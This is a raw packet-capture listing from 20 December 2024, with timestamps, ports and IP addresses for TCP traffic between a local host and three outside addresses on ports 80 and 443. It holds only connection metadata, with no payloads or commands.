Dec 20, 2024 13:12:45.013776064 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:45.013849974 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:45.013959885 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:45.013977051 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:45.013989925 CET	49924	443	192.168.2.5	45.77.249.79
Dec 20, 2024 13:12:45.013993979 CET	443	49924	45.77.249.79	192.168.2.5
Dec 20, 2024 13:12:45.023159981 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.023272991 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.023360014 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.023677111 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.023840904 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.023896933 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.024517059 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.024795055 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.024843931 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.025331974 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.070200920 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.081684113 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.081793070 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.081855059 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.081996918 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.082076073 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.082124949 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.082720041 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.082864046 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.082914114 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.083579063 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.083713055 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.083777905 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.084482908 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.084650993 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.084707975 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.085340977 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.085453033 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.085503101 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.086289883 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.086441994 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.086498022 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.087135077 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.087225914 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.087335110 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.088016033 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.088176966 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.088227987 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.088937044 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.089008093 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.089109898 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.089775085 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.089888096 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.089942932 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.090667009 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.090804100 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.090852976 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.091540098 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.091614008 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.091661930 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.092438936 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.092600107 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.092648029 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.093300104 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.093380928 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.093450069 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.094197035 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.094259977 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.095098972 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.095151901 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.095187902 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.095248938 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.096019983 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.096107960 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.096265078 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.096867085 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.096919060 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.097048998 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.097742081 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.097858906 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.097920895 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.098611116 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.098704100 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.098767042 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.099658012 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.099720955 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.099823952 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.100402117 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.100495100 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.100553036 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.101326942 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.101360083 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.101457119 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.102147102 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.102253914 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.102308035 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.103213072 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.103347063 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.103409052 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.103924036 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.104032040 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.104079008 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.104815006 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.104943991 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.105607033 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.105802059 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.105905056 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.105961084 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.106589079 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.106705904 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.106756926 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.107481956 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.107609034 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.107667923 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.108434916 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.108510971 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.108561993 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.109239101 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.109343052 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.109424114 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.110291958 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.110419989 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.110475063 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.110999107 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.111243010 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.111301899 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.111911058 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.112134933 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.112780094 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.112824917 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.112863064 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.113373995 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.113678932 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.113799095 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.113854885 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.114522934 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.114650011 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.114703894 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.115416050 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.115561962 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.115616083 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.116317034 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.116466045 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.116511106 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.117250919 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.117455006 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.117516994 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.118094921 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.118212938 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.118289948 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.118966103 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.119086027 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.119142056 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.119834900 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.120007038 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.120047092 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.120729923 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.120829105 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.120892048 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.121731043 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.121812105 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.121860027 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.122504950 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.122585058 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.122632027 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.123389959 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.123521090 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.123577118 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.124294996 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.124605894 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.124727011 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.133138895 CET	49911	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:45.133599043 CET	49931	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:45.215146065 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.215255022 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.215440035 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.215552092 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.215764046 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.215827942 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.215878010 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.216660976 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.216721058 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.216903925 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.217567921 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.219029903 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.253757954 CET	80	49931	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:45.253772974 CET	80	49911	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:45.253947973 CET	49911	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:45.253966093 CET	49931	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:45.254118919 CET	49931	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:45.273865938 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.274024010 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.274064064 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.274183035 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.274230003 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.274959087 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.275011063 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.275065899 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.275119066 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.275866985 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.275964022 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.276021957 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.276746035 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.276921034 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.277616024 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.277641058 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.277673006 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.277707100 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.278518915 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.278639078 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.278691053 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.281264067 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.281279087 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.281303883 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.281318903 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.281328917 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.281336069 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.281352997 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.281361103 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.281383991 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.282223940 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.282239914 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.282296896 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.283191919 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.283354998 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.283410072 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.283833981 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.283881903 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.283931017 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.284732103 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.284897089 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.284998894 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.285562992 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.285707951 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.285767078 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.286509037 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.286608934 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.286685944 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.287339926 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.287488937 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.287543058 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.288202047 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.288310051 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.288378954 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.291232109 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.291248083 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.291307926 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.291337013 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.291353941 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.291413069 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.291424036 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.291441917 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.291492939 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.292084932 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.292262077 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.292315960 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.292929888 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.293112040 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.293164015 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.293791056 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.293957949 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.294014931 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.294502020 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.294517994 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.294569016 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.295339108 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.295665979 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.295813084 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.296228886 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.296482086 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.296535969 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.297063112 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.297224045 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.297278881 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.298100948 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.298289061 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.298346996 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.298834085 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.298934937 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.299050093 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.299745083 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.299830914 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.299889088 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.300609112 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.300872087 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.301496029 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.301546097 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.301599026 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.302386999 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.302433968 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.302504063 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.302550077 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.303303957 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.303427935 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.303998947 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.304156065 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.304212093 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.304827929 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.305115938 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.305201054 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.305258989 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.306121111 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.306184053 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.306296110 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.306790113 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.307027102 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.307082891 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.307679892 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.307765961 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.307854891 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.308572054 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.308662891 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.308712006 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.309489965 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.309624910 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.309694052 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.310332060 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.310436010 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.310499907 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.310762882 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.311234951 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.311290026 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.311992884 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.312086105 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.312129021 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.313203096 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.315032959 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315047979 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315095901 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.315113068 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315128088 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315144062 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315159082 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315190077 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.315221071 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.315628052 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315651894 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.315700054 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.317006111 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.317188025 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.317240953 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.317846060 CET	80	49923	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:45.320430040 CET	49923	80	192.168.2.5	185.121.15.192
Dec 20, 2024 13:12:45.374475956 CET	80	49931	185.215.113.43	192.168.2.5
